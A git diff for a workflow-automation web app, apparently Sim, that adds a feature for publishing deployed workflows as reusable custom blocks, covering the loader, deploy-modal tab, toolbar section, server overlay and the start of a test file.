a/apps/sim/app/api/workflows/[id]/execute/route.ts +++ b/apps/sim/app/api/workflows/[id]/execute/route.ts @@ -61,6 +61,7 @@ import { cleanupExecutionBase64Cache, hydrateUserFilesWithBase64, } from '@/lib/uploads/utils/user-file-base64.server' +import { getCustomBlockRowsForWorkspace } from '@/lib/workflows/custom-blocks/operations' import { executeWorkflow } from '@/lib/workflows/executor/execute-workflow' import { executeWorkflowCore } from '@/lib/workflows/executor/execution-core' import { type ExecutionEvent, encodeSSEEvent } from '@/lib/workflows/executor/execution-events' @@ -72,6 +73,7 @@ import { import { createStreamingResponse } from '@/lib/workflows/streaming/streaming' import { createHttpResponseFromBlock, workflowHasResponseBlock } from '@/lib/workflows/utils' import { executeWorkflowJob, type WorkflowExecutionPayload } from '@/background/workflow-execution' +import { withCustomBlockOverlay } from '@/blocks/custom/server-overlay' import { PublicApiNotAllowedError, validatePublicApiAllowed, @@ -859,12 +861,17 @@ async function handleExecutePost( variables: deployedVariables, } - const serializedWorkflow = new Serializer().serializeWorkflow( - workflowData.blocks, - workflowData.edges, - workflowData.loops, - workflowData.parallels, - false + // Custom blocks resolve only inside the org overlay; wrap this pre-execution + // serialize (used for input file-field discovery) the same way the core does. + const customBlockRows = await getCustomBlockRowsForWorkspace(workspaceId) + const serializedWorkflow = await withCustomBlockOverlay(customBlockRows, async () => + new Serializer().serializeWorkflow( + workflowData.blocks, + workflowData.edges, + workflowData.loops, + workflowData.parallels, + false + ) ) const executionContext = { diff --git a/apps/sim/app/workspace/[workspaceId]/components/drop-zone.tsx b/apps/sim/app/workspace/[workspaceId]/components/drop-zone.tsx new file mode 100644 index 00000000000..d9845d42012 --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/components/drop-zone.tsx @@ -0,0 +1,42 @@ +'use client' + +import { useState } from 'react' +import { cn } from '@sim/emcn' + +interface DropZoneProps { + onDrop: (e: React.DragEvent) => void + children: React.ReactNode + className?: string +} + +/** File drop target with a dashed accent overlay while dragging. Shared by the + * whitelabeling settings and the deploy-as-block icon upload. */ +export function DropZone({ onDrop, children, className }: DropZoneProps) { + const [isDragging, setIsDragging] = useState(false) + + return ( +
{ + if (e.dataTransfer.types.includes('Files')) { + e.preventDefault() + setIsDragging(true) + } + }} + onDragLeave={(e) => { + if (!e.currentTarget.contains(e.relatedTarget as Node)) { + setIsDragging(false) + } + }} + onDrop={(e) => { + setIsDragging(false) + onDrop(e) + }} + > + {children} + {isDragging && ( +
+ )} +
+ ) +} diff --git a/apps/sim/app/workspace/[workspaceId]/layout.tsx b/apps/sim/app/workspace/[workspaceId]/layout.tsx index adbaa7d368a..4fdea0c52d6 100644 --- a/apps/sim/app/workspace/[workspaceId]/layout.tsx +++ b/apps/sim/app/workspace/[workspaceId]/layout.tsx @@ -7,6 +7,7 @@ import { getQueryClient } from '@/app/_shell/providers/get-query-client' import { ImpersonationBanner } from '@/app/workspace/[workspaceId]/components/impersonation-banner' import { WorkspaceChrome } from '@/app/workspace/[workspaceId]/components/workspace-chrome' import { prefetchWorkspaceSidebar } from '@/app/workspace/[workspaceId]/prefetch' +import { CustomBlocksLoader } from '@/app/workspace/[workspaceId]/providers/custom-blocks-loader' import { GlobalCommandsProvider } from '@/app/workspace/[workspaceId]/providers/global-commands-provider' import { ProviderModelsLoader } from '@/app/workspace/[workspaceId]/providers/provider-models-loader' import { SettingsLoader } from '@/app/workspace/[workspaceId]/providers/settings-loader' @@ -43,6 +44,7 @@ export default async function WorkspaceLayout({ +
diff --git a/apps/sim/app/workspace/[workspaceId]/logs/components/log-details/components/trace-view/trace-view.tsx b/apps/sim/app/workspace/[workspaceId]/logs/components/log-details/components/trace-view/trace-view.tsx index bacca64af3b..9ea1131717c 100644 --- a/apps/sim/app/workspace/[workspaceId]/logs/components/log-details/components/trace-view/trace-view.tsx +++ b/apps/sim/app/workspace/[workspaceId]/logs/components/log-details/components/trace-view/trace-view.tsx @@ -46,6 +46,7 @@ import { isIterationType, parseTime, } from '@/app/workspace/[workspaceId]/logs/components/log-details/utils' +import { isCustomBlockType } from '@/blocks/custom/build-config' import { useCodeViewerFeatures } from '@/hooks/use-code-viewer' const DEFAULT_TREE_PANE_WIDTH = 240 @@ -667,7 +668,10 @@ const TraceDetailPane = memo(function TraceDetailPane({ span }: { span: TraceSpa const endedAt = parseTime(span.endTime) const metaEntries: { label: string; value: string }[] = [] - metaEntries.push({ label: 'Type', value: span.type }) + metaEntries.push({ + label: 'Type', + value: isCustomBlockType(span.type) ? 'custom block' : span.type, + }) metaEntries.push({ label: 'Duration', value: formatDuration(duration, { precision: 2 }) || '—' }) if (span.provider) metaEntries.push({ label: 'Provider', value: span.provider }) if (span.model) metaEntries.push({ label: 'Model', value: span.model }) diff --git a/apps/sim/app/workspace/[workspaceId]/providers/custom-blocks-loader.tsx b/apps/sim/app/workspace/[workspaceId]/providers/custom-blocks-loader.tsx new file mode 100644 index 00000000000..7d781602434 --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/providers/custom-blocks-loader.tsx @@ -0,0 +1,49 @@ +'use client' + +import { useEffect } from 'react' +import { useParams } from 'next/navigation' +import { buildCustomBlockConfig } from '@/blocks/custom/build-config' +import { hydrateClientCustomBlocks } from '@/blocks/custom/client-overlay' +import { getCustomBlockIcon } from '@/blocks/custom/custom-block-icon' +import { useCustomBlocks } from '@/hooks/queries/custom-blocks' + +/** + * Hydrates the client custom-block registry overlay from the active workspace's + * org custom blocks. Mounted once in the workspace layout so every surface that + * resolves blocks synchronously — the canvas, the block palette, copilot mentions, + * and the Access Control "Blocks" list — sees custom blocks. Re-hydrates on + * workspace switch (the query key changes) and on any publish/edit/unpublish. + */ +export function CustomBlocksLoader() { + const params = useParams() + const workspaceId = params?.workspaceId as string | undefined + const { data } = useCustomBlocks(workspaceId) + + useEffect(() => { + hydrateClientCustomBlocks( + // Only enabled blocks are resolvable/executable server-side, so the client + // overlay (toolbar, canvas, palette) must exclude disabled ones too — else + // the block is offered but every run fails. + (data ?? []) + .filter((block) => block.enabled) + .map((block) => + buildCustomBlockConfig( + { + type: block.type, + name: block.name, + description: block.description, + workflowId: block.workflowId, + exposedOutputs: block.exposedOutputs, + }, + block.inputFields, + { + icon: getCustomBlockIcon(block.iconUrl), + bgColor: block.iconUrl ? 'transparent' : undefined, + } + ) + ) + ) + }, [data]) + + return null +} diff --git a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/block.tsx b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/block.tsx new file mode 100644 index 00000000000..6be9d2513a2 --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/block.tsx @@ -0,0 +1,406 @@ +'use client' + +import { useEffect, useMemo, useRef, useState } from 'react' +import { + Button, + ChipCombobox, + ChipInput, + ChipTextarea, + type ComboboxOptionGroup, + Loader, + toast, +} from '@sim/emcn' +import { getErrorMessage } from '@sim/utils/errors' +import { Image as ImageIcon, X } from 'lucide-react' +import { + type FlattenOutputsBlockInput, + type FlattenOutputsEdgeInput, + flattenWorkflowOutputs, +} from '@/lib/workflows/blocks/flatten-outputs' +import { DropZone } from '@/app/workspace/[workspaceId]/components/drop-zone' +import { useProfilePictureUpload } from '@/app/workspace/[workspaceId]/settings/hooks/use-profile-picture-upload' +import type { CustomBlockOutput } from '@/blocks/custom/build-config' +import { SettingRow } from '@/ee/components/setting-row' +import { + useCustomBlocks, + useDeleteCustomBlock, + usePublishCustomBlock, + useUpdateCustomBlock, +} from '@/hooks/queries/custom-blocks' +import { useDeployedWorkflowState } from '@/hooks/queries/deployments' + +const OUTPUT_SEP = '::' +const ICON_ACCEPT = 'image/png,image/jpeg,image/jpg,image/svg+xml,image/webp' + +const encodeOutput = (blockId: string, path: string) => `${blockId}${OUTPUT_SEP}${path}` +const decodeOutput = (value: string) => { + const i = value.indexOf(OUTPUT_SEP) + return i === -1 + ? { blockId: '', path: value } + : { blockId: value.slice(0, i), path: value.slice(i + OUTPUT_SEP.length) } +} + +/** Derive a unique, friendly output name from a dot-path, avoiding collisions. */ +function deriveOutputName(path: string, taken: Set): string { + const base = (path.split('.').pop() || path).replace(/[^a-zA-Z0-9_]/g, '_') + let name = base + let n = 2 + while (taken.has(name)) name = `${base}_${n++}` + taken.add(name) + return name +} + +interface BlockDeployProps { + workflowId: string | null + workspaceId: string + isDeployed: boolean + canAdmin: boolean + /** Lifted state so the modal footer (shared with the other tabs) owns the actions. */ + onSubmittingChange?: (submitting: boolean) => void + onCanSaveChange?: (canSave: boolean) => void + onExistingChange?: (existing: boolean) => void +} + +export function BlockDeploy({ + workflowId, + workspaceId, + isDeployed, + canAdmin, + onSubmittingChange, + onCanSaveChange, + onExistingChange, +}: BlockDeployProps) { + const { data: customBlocks = [] } = useCustomBlocks(workspaceId) + const existing = useMemo( + () => customBlocks.find((b) => b.workflowId === workflowId) ?? null, + [customBlocks, workflowId] + ) + + const publish = usePublishCustomBlock(workspaceId) + const update = useUpdateCustomBlock(workspaceId) + const remove = useDeleteCustomBlock(workspaceId) + + const [name, setName] = useState(existing?.name ?? '') + const [description, setDescription] = useState(existing?.description ?? '') + /** Curated outputs (with editable names); empty = expose the whole result. */ + const [outputs, setOutputs] = useState(() => existing?.exposedOutputs ?? []) + const [error, setError] = useState(null) + + // `existing` arrives async from useCustomBlocks; the useState seeds above only run + // on first render. Reseed when the resolved block identity changes (nothing → + // loaded, or unpublish → nothing) so the form reflects real data instead of + // staying empty and offering a duplicate publish. Keyed on the id (stable across + // refetches) so it never clobbers in-progress edits. + const existingId = existing?.id ?? null + const prevExistingIdRef = useRef(existingId) + if (prevExistingIdRef.current !== existingId) { + prevExistingIdRef.current = existingId + setName(existing?.name ?? '') + setDescription(existing?.description ?? '') + setOutputs(existing?.exposedOutputs ?? []) + } + + const iconUpload = useProfilePictureUpload({ + currentImage: existing?.iconUrl ?? null, + onError: (e) => setError(e), + context: 'workspace-logos', + workspaceId, + }) + + // Curate outputs from the DEPLOYED state — the block always runs the latest + // deployment, so draft-only blocks must not appear as pickable outputs (they'd + // resolve to `undefined` at runtime). + const workflowState = useDeployedWorkflowState(workflowId ?? null) + const { outputGroups, labelByKey } = useMemo(() => { + const state = workflowState.data as + | { blocks?: Record; edges?: FlattenOutputsEdgeInput[] } + | null + | undefined + const labels = new Map() + if (!state?.blocks) return { outputGroups: [] as ComboboxOptionGroup[], labelByKey: labels } + const flat = flattenWorkflowOutputs(Object.values(state.blocks), state.edges ?? []) + const byBlock = new Map< + string, + { blockName: string; items: { label: string; value: string }[] } + >() + for (const f of flat) { + const key = encodeOutput(f.blockId, f.path) + labels.set(key, `${f.blockName} › ${f.path}`) + const group = byBlock.get(f.blockId) ?? { blockName: f.blockName, items: [] } + group.items.push({ label: f.path, value: key }) + byBlock.set(f.blockId, group) + } + const groups = Array.from(byBlock.values()).map((g) => ({ + section: g.blockName, + items: g.items, + })) + return { outputGroups: groups, labelByKey: labels } + }, [workflowState.data]) + + /** Curated outputs that still resolve to a block in the (loaded) workflow. An + * output whose block was deleted no longer appears here, so it is neither shown + * nor saved. While the workflow is still loading we keep every stored output to + * avoid dropping valid ones before their blocks are known. */ + const outputsLoaded = Boolean(workflowState.data) && !workflowState.isLoading + const visibleOutputs = useMemo( + () => + outputsLoaded + ? outputs.filter((o) => labelByKey.has(encodeOutput(o.blockId, o.path))) + : outputs, + [outputs, outputsLoaded, labelByKey] + ) + + const selectedOutputKeys = useMemo( + () => visibleOutputs.map((o) => encodeOutput(o.blockId, o.path)), + [visibleOutputs] + ) + + /** Reconcile the picker's selection: keep existing rows (and their names), add + * new picks with a derived default name, drop removed ones. */ + function handleOutputsChange(nextKeys: string[]) { + const byKey = new Map(outputs.map((o) => [encodeOutput(o.blockId, o.path), o])) + const taken = new Set(outputs.map((o) => o.name)) + setOutputs( + nextKeys.map((key) => { + const existingOutput = byKey.get(key) + if (existingOutput) return existingOutput + const { blockId, path } = decodeOutput(key) + return { blockId, path, name: deriveOutputName(path, taken) } + }) + ) + } + + function setOutputName(key: string, value: string) { + setOutputs((prev) => + prev.map((o) => (encodeOutput(o.blockId, o.path) === key ? { ...o, name: value } : o)) + ) + } + + const iconUrl = iconUpload.previewUrl + const isBusy = publish.isPending || update.isPending || remove.isPending + + // Only enable "Update" when something actually changed (clear feedback on what + // needs saving); publishing a new block just needs a name. + const dirty = existing + ? name.trim() !== existing.name || + description.trim() !== (existing.description ?? '') || + (iconUrl || null) !== (existing.iconUrl ?? null) || + JSON.stringify(visibleOutputs) !== JSON.stringify(existing.exposedOutputs) + : true + + const canSave = canAdmin && name.trim().length > 0 && !isBusy && !iconUpload.isUploading && dirty + + useEffect(() => onCanSaveChange?.(canSave), [canSave, onCanSaveChange]) + useEffect( + () => onSubmittingChange?.(publish.isPending || update.isPending), + [publish.isPending, update.isPending, onSubmittingChange] + ) + useEffect(() => onExistingChange?.(Boolean(existing)), [existing, onExistingChange]) + + async function handleSubmit() { + setError(null) + const exposedOutputs = visibleOutputs.map((o) => ({ ...o, name: o.name.trim() })) + if (exposedOutputs.some((o) => !o.name)) { + setError('Every exposed output needs a name') + return + } + if (new Set(exposedOutputs.map((o) => o.name)).size !== exposedOutputs.length) { + setError('Output names must be unique') + return + } + try { + if (existing) { + const iconChanged = (iconUrl || null) !== (existing.iconUrl ?? null) + await update.mutateAsync({ + id: existing.id, + name: name.trim(), + description: description.trim(), + exposedOutputs, + ...(iconChanged ? { iconUrl: iconUrl || null } : {}), + }) + toast.success('Block updated') + } else { + if (!workflowId) return + await publish.mutateAsync({ + workspaceId, + workflowId, + name: name.trim(), + description: description.trim(), + exposedOutputs, + ...(iconUrl ? { iconUrl } : {}), + }) + toast.success('Published as block') + } + } catch (e) { + setError(getErrorMessage(e, 'Failed to save block')) + } + } + + async function handleUnpublish() { + if (!existing) return + setError(null) + try { + await remove.mutateAsync(existing.id) + setName('') + setDescription('') + setOutputs([]) + iconUpload.handleRemove() + toast.success('Block unpublished') + } catch (e) { + setError(getErrorMessage(e, 'Failed to unpublish block')) + } + } + + if (!isDeployed && !existing) { + return ( +
+ Deploy this workflow first to publish it as a block. +
+ ) + } + + return ( +
{ + e.preventDefault() + handleSubmit() + }} + className='flex flex-col gap-5 py-1' + > + {/* Triggered by the modal footer's Unpublish button (mirrors the chat tab). */} + + +
+ + {iconUrl && ( + + )} +
+ +
+ + + + setName(e.target.value)} + placeholder='Invoice Parser' + maxLength={60} + disabled={!canAdmin} + /> + + + + setDescription(e.target.value)} + placeholder='What this block does' + rows={2} + maxLength={280} + disabled={!canAdmin} + /> + + + + + {visibleOutputs.length === 0 + ? 'All outputs (result)' + : `${visibleOutputs.length} selected`} + + } + /> + {visibleOutputs.length > 0 && ( +
+ {visibleOutputs.map((o) => { + const key = encodeOutput(o.blockId, o.path) + return ( +
+ + {labelByKey.get(key) ?? o.path} + + setOutputName(key, e.target.value)} + placeholder='name' + className='w-[140px]' + maxLength={60} + disabled={!canAdmin} + /> +
+ ) + })} +
+ )} +
+ + {!canAdmin && ( +

Admin permissions required

+ )} + + ) +} diff --git a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/index.ts b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/index.ts new file mode 100644 index 00000000000..e006fe1c3d4 --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/index.ts @@ -0,0 +1 @@ +export { BlockDeploy } from './block' diff --git a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/index.ts b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/index.ts index 630f2b53a5a..b082d9329a0 100644 --- a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/index.ts +++ b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/index.ts @@ -1,4 +1,5 @@ export { ApiDeploy } from './api' +export { BlockDeploy } from './block' export { ChatDeploy, type ExistingChat } from './chat' export { DeployUpgradeGate } from './deploy-upgrade-gate' export { GeneralDeploy } from './general' diff --git a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/deploy-modal.tsx b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/deploy-modal.tsx index 8bd6cba84e7..8174e78499a 100644 --- a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/deploy-modal.tsx +++ b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/deploy-modal.tsx @@ -36,6 +36,7 @@ import type { DeployReadiness } from '@/app/workspace/[workspaceId]/w/[workflowI import { runPreDeployChecks } from '@/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/hooks/use-predeploy-checks' import { normalizeName, startsWithUuid } from '@/executor/constants' import { useApiKeys } from '@/hooks/queries/api-keys' +import { useCanPublishCustomBlock } from '@/hooks/queries/custom-blocks' import { invalidateDeploymentQueries, useActivateDeploymentVersion, @@ -56,6 +57,7 @@ import { useWorkflowStore } from '@/stores/workflows/workflow/store' import type { WorkflowState } from '@/stores/workflows/workflow/types' import { ApiDeploy, + BlockDeploy, ChatDeploy, DeployUpgradeGate, type ExistingChat, @@ -101,9 +103,9 @@ interface WorkflowDeploymentInfoUI { isPublicApi: boolean } -type TabView = 'general' | 'api' | 'chat' | 'mcp' +type TabView = 'general' | 'api' | 'chat' | 'mcp' | 'block' -const DEPLOY_MODAL_TABS = new Set(['general', 'api', 'chat', 'mcp']) +const DEPLOY_MODAL_TABS = new Set(['general', 'api', 'chat', 'mcp', 'block']) function isDeployModalTab(value: unknown): value is TabView { return typeof value === 'string' && DEPLOY_MODAL_TABS.has(value as TabView) @@ -143,6 +145,10 @@ export function DeployModal({ const [mcpToolSaveDisabledReason, setMcpToolSaveDisabledReason] = useState(null) const [mcpActiveServerId, setMcpActiveServerId] = useState(null) + const [blockSubmitting, setBlockSubmitting] = useState(false) + const [blockCanSave, setBlockCanSave] = useState(false) + const [blockExists, setBlockExists] = useState(false) + const [chatSuccess, setChatSuccess] = useState(false) const chatSuccessTimeoutRef = useRef | null>(null) const deployActionIdRef = useRef(0) @@ -196,6 +202,8 @@ export function DeployModal({ const { data: mcpServers = [] } = useWorkflowMcpServers(workflowWorkspaceId || '') const hasMcpServers = mcpServers.length > 0 + const { data: canPublishBlock = false } = useCanPublishCustomBlock(workspaceId) + const deployMutation = useDeployWorkflow() const undeployMutation = useUndeployWorkflow() const activateVersionMutation = useActivateDeploymentVersion() @@ -513,6 +521,17 @@ export function DeployModal({ form?.requestSubmit() } + const handleBlockFormSubmit = () => { + const form = document.getElementById('block-deploy-form') as HTMLFormElement + form?.requestSubmit() + } + + const handleBlockUnpublish = () => { + const form = document.getElementById('block-deploy-form') as HTMLFormElement + const trigger = form?.querySelector('[data-unpublish-trigger]') as HTMLButtonElement | null + trigger?.click() + } + const isSubmitting = deployMutation.isPending || isFinalizingDeploy const isUndeploying = undeployMutation.isPending @@ -538,6 +557,7 @@ export function DeployModal({ {!permissionConfig.hideDeployChatbot && ( Chat )} + {canPublishBlock && Block} @@ -628,6 +648,20 @@ export function DeployModal({ )} + + {canPublishBlock && ( + + + + )} @@ -698,6 +732,37 @@ export function DeployModal({
)} + {activeTab === 'block' && ( + +
+
+ {blockExists && ( + + )} + +
+ + )} {activeTab === 'mcp' && !gateProgrammaticDeploy && isDeployed && hasMcpServers && (
diff --git a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/toolbar/toolbar.tsx b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/toolbar/toolbar.tsx index 0969a117502..cb2473f89cf 100644 --- a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/toolbar/toolbar.tsx +++ b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/toolbar/toolbar.tsx @@ -22,6 +22,7 @@ import { } from '@sim/emcn' import clsx from 'clsx' import { ChevronDown, Search } from 'lucide-react' +import { useParams } from 'next/navigation' import { usePostHog } from 'posthog-js/react' import { captureEvent } from '@/lib/posthog/client' import { getTriggersForSidebar, hasTriggerCapability } from '@/lib/workflows/triggers/trigger-utils' @@ -29,9 +30,16 @@ import { ToolbarItemContextMenu } from '@/app/workspace/[workspaceId]/w/[workflo import { useToolbarItemInteractions } from '@/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/toolbar/hooks' import { LoopTool } from '@/app/workspace/[workspaceId]/w/[workflowId]/components/subflows/loop/loop-config' import { ParallelTool } from '@/app/workspace/[workspaceId]/w/[workflowId]/components/subflows/parallel/parallel-config' +import { + buildCustomBlockConfig, + CUSTOM_BLOCK_TILE_COLOR, + isCustomBlockType, +} from '@/blocks/custom/build-config' +import { getCustomBlockIcon } from '@/blocks/custom/custom-block-icon' import { getTileIconColorClass } from '@/blocks/icon-color' import { getCanonicalBlocksByCategory } from '@/blocks/registry' import type { BlockConfig } from '@/blocks/types' +import { useCustomBlocks } from '@/hooks/queries/custom-blocks' import { usePermissionConfig } from '@/hooks/use-permission-config' import { useSandboxBlockConstraints } from '@/hooks/use-sandbox-block-constraints' import { useToolbarStore } from '@/stores/panel' @@ -193,8 +201,14 @@ let cachedTools: BlockItem[] | null = null function ensureBlockCaches() { if (cachedBlocks !== null && cachedTools !== null) return - const regularBlockConfigs = getCanonicalBlocksByCategory('blocks') - const toolConfigs = getCanonicalBlocksByCategory('tools') + // Exclude custom (deploy-as-block) blocks — they render in their own reactive + // "Custom Blocks" section, never in the static Core Blocks / Integrations caches. + const regularBlockConfigs = getCanonicalBlocksByCategory('blocks').filter( + (b) => !isCustomBlockType(b.type) + ) + const toolConfigs = getCanonicalBlocksByCategory('tools').filter( + (b) => !isCustomBlockType(b.type) + ) const regularBlockItems: BlockItem[] = regularBlockConfigs.map((block) => ({ name: block.name, @@ -351,10 +365,12 @@ export const Toolbar = memo( const searchInputRef = useRef(null) const triggerItemRefs = useRef>([]) const blockItemRefs = useRef>([]) + const customBlockItemRefs = useRef>([]) const toolItemRefs = useRef>([]) const triggerRefCallbacks = useRef void>>({}) const blockRefCallbacks = useRef void>>({}) + const customBlockRefCallbacks = useRef void>>({}) const toolRefCallbacks = useRef void>>({}) const getTriggerRefCallback = useCallback((index: number) => { @@ -375,6 +391,15 @@ export const Toolbar = memo( return blockRefCallbacks.current[index] }, []) + const getCustomBlockRefCallback = useCallback((index: number) => { + if (!customBlockRefCallbacks.current[index]) { + customBlockRefCallbacks.current[index] = (el) => { + customBlockItemRefs.current[index] = el + } + } + return customBlockRefCallbacks.current[index] + }, []) + const getToolRefCallback = useCallback((index: number) => { if (!toolRefCallbacks.current[index]) { toolRefCallbacks.current[index] = (el) => { @@ -421,10 +446,48 @@ export const Toolbar = memo( const { handleDragStart, handleItemClick } = useToolbarItemInteractions() + const params = useParams() + const workspaceId = params?.workspaceId as string | undefined + const currentWorkflowId = params?.workflowId as string | undefined + const { data: customBlocksData } = useCustomBlocks(workspaceId) + const allTriggers = getTriggers() const allBlocks = getBlocks() const allTools = getTools() + // Published custom blocks are their own section. Exclude disabled blocks (the + // server overlay drops them, so placing one would fail at run) and the block + // bound to the CURRENT workflow — adding a workflow's own block would recurse. + const allCustomBlocks = useMemo(() => { + if (!customBlocksData?.length) return [] + return customBlocksData + .filter((cb) => cb.enabled && cb.workflowId !== currentWorkflowId) + .map((cb) => { + const icon = getCustomBlockIcon(cb.iconUrl) + // Uploaded icons render on a transparent tile (no colored box); the + // default glyph keeps the neutral tile so it stays visible. + const tileColor = cb.iconUrl ? 'transparent' : CUSTOM_BLOCK_TILE_COLOR + return { + name: cb.name, + type: cb.type, + config: buildCustomBlockConfig( + { + type: cb.type, + name: cb.name, + description: cb.description, + workflowId: cb.workflowId, + exposedOutputs: cb.exposedOutputs, + }, + cb.inputFields, + { icon, bgColor: tileColor } + ), + icon, + bgColor: tileColor, + } satisfies BlockItem + }) + .sort((a, b) => a.name.localeCompare(b.name)) + }, [customBlocksData, currentWorkflowId]) + const visibleTriggers = useMemo(() => { if (sandboxAllowedBlocks !== null) return [] return filterBlocks(allTriggers) @@ -436,6 +499,12 @@ export const Toolbar = memo( return permitted.filter((b) => sandboxAllowedBlocks.includes(b.type)) }, [filterBlocks, allBlocks, sandboxAllowedBlocks]) + const visibleCustomBlocks = useMemo(() => { + const permitted = filterBlocks(allCustomBlocks) + if (sandboxAllowedBlocks === null) return permitted + return permitted.filter((b) => sandboxAllowedBlocks.includes(b.type)) + }, [filterBlocks, allCustomBlocks, sandboxAllowedBlocks]) + const visibleTools = useMemo(() => { const permitted = filterBlocks(allTools) if (sandboxAllowedBlocks === null) return permitted @@ -457,6 +526,13 @@ export const Toolbar = memo( return visibleBlocks.filter((block) => block.name.toLowerCase().includes(normalizedQuery)) }, [visibleBlocks, isSearching, normalizedQuery]) + const filteredCustomBlocks = useMemo(() => { + if (!isSearching) return visibleCustomBlocks + return visibleCustomBlocks.filter((block) => + block.name.toLowerCase().includes(normalizedQuery) + ) + }, [visibleCustomBlocks, isSearching, normalizedQuery]) + const filteredTools = useMemo(() => { if (!isSearching) return visibleTools return visibleTools.filter((tool) => tool.name.toLowerCase().includes(normalizedQuery)) @@ -468,6 +544,7 @@ export const Toolbar = memo( */ triggerItemRefs.current.length = filteredTriggers.length blockItemRefs.current.length = filteredBlocks.length + customBlockItemRefs.current.length = filteredCustomBlocks.length toolItemRefs.current.length = filteredTools.length /** @@ -478,6 +555,7 @@ export const Toolbar = memo( const sectionExpanded: Record = { triggers: isSearching ? filteredTriggers.length > 0 : expandedSections.triggers, blocks: isSearching ? filteredBlocks.length > 0 : expandedSections.blocks, + customBlocks: isSearching ? filteredCustomBlocks.length > 0 : expandedSections.customBlocks, tools: isSearching ? filteredTools.length > 0 : expandedSections.tools, } @@ -751,6 +829,23 @@ export const Toolbar = memo( onItemClick={handleItemClick} onContextMenu={handleItemContextMenu} /> + {allCustomBlocks.length > 0 && ( + + )} >(new Map()) const getBlockConfig = useCallback((type: string) => { - if (!blockConfigCache.current.has(type)) { - blockConfigCache.current.set(type, getBlock(type)) - } - return blockConfigCache.current.get(type) + const cached = blockConfigCache.current.get(type) + if (cached) return cached + // Don't cache a miss: custom (deploy-as-block) blocks resolve only once the + // client overlay hydrates, so an early miss must re-resolve on a later render. + const config = getBlock(type) + if (config) blockConfigCache.current.set(type, config) + return config }, []) + // Bust cached custom-block node configs when the org overlay (hydrated by + // CustomBlocksLoader) changes, so renames/icon edits refresh existing nodes. + const { data: customBlocksData } = useCustomBlocks(workspaceId) + useEffect(() => { + for (const cb of customBlocksData ?? []) blockConfigCache.current.delete(cb.type) + }, [customBlocksData]) + const prevBlocksHashRef = useRef('') const prevBlocksRef = useRef(blocks) diff --git a/apps/sim/app/workspace/[workspaceId]/w/components/sidebar/sidebar.tsx b/apps/sim/app/workspace/[workspaceId]/w/components/sidebar/sidebar.tsx index 2e94f37a861..a337c63fc76 100644 --- a/apps/sim/app/workspace/[workspaceId]/w/components/sidebar/sidebar.tsx +++ b/apps/sim/app/workspace/[workspaceId]/w/components/sidebar/sidebar.tsx @@ -86,6 +86,7 @@ import { groupWorkflowsByFolder, } from '@/app/workspace/[workspaceId]/w/components/sidebar/utils' import { useImportWorkflow } from '@/app/workspace/[workspaceId]/w/hooks' +import { useCustomBlockOverlayVersion } from '@/blocks/custom/client-overlay' import { useWorkspaceCredentials } from '@/hooks/queries/credentials' import { useFolderMap, useFolders } from '@/hooks/queries/folders' import { useKnowledgeBasesQuery } from '@/hooks/queries/kb/knowledge' @@ -373,6 +374,7 @@ export const Sidebar = memo(function Sidebar({ isCollapsed }: SidebarProps) { const { config: permissionConfig, filterBlocks } = usePermissionConfig() const { navigateToSettings, getSettingsHref } = useSettingsNavigation() const initializeSearchData = useSearchModalStore((state) => state.initializeData) + const customBlockOverlayVersion = useCustomBlockOverlayVersion() const providers = useProvidersStore((state) => state.providers) const providerModelSignature = useMemo( () => @@ -384,7 +386,7 @@ export const Sidebar = memo(function Sidebar({ isCollapsed }: SidebarProps) { useEffect(() => { initializeSearchData(filterBlocks) - }, [initializeSearchData, filterBlocks, providerModelSignature]) + }, [initializeSearchData, filterBlocks, providerModelSignature, customBlockOverlayVersion]) const setSidebarWidth = useSidebarStore((state) => state.setSidebarWidth) const toggleCollapsed = useSidebarStore((state) => state.toggleCollapsed) diff --git a/apps/sim/blocks/custom/build-config.test.ts b/apps/sim/blocks/custom/build-config.test.ts new file mode 100644 index 00000000000..1c81186648e --- /dev/null +++ b/apps/sim/blocks/custom/build-config.test.ts @@ -0,0 +1,123 @@ +/** + * @vitest-environment node + */ +import { describe, expect, it } from 'vitest' +import type { WorkflowInputField } from '@/lib/workflows/input-format' +import { + buildCustomBlockConfig, + CUSTOM_BLOCK_TILE_COLOR, + type CustomBlockRow, + isCustomBlockType, +} from '@/blocks/custom/build-config' +import type { BlockIcon } from '@/blocks/types' + +const icon: BlockIcon = () => null as never + +const row: CustomBlockRow = { + type: 'custom_block_abc123', + name: 'Invoice Parser', + description: 'Extracts fields from an invoice', + workflowId: 'wf-1', +} + +function findSub(config: ReturnType, id: string) { + return config.subBlocks.find((s) => s.id === id) +} + +describe('isCustomBlockType', () => { + it('matches only the custom_block_ prefix', () => { + 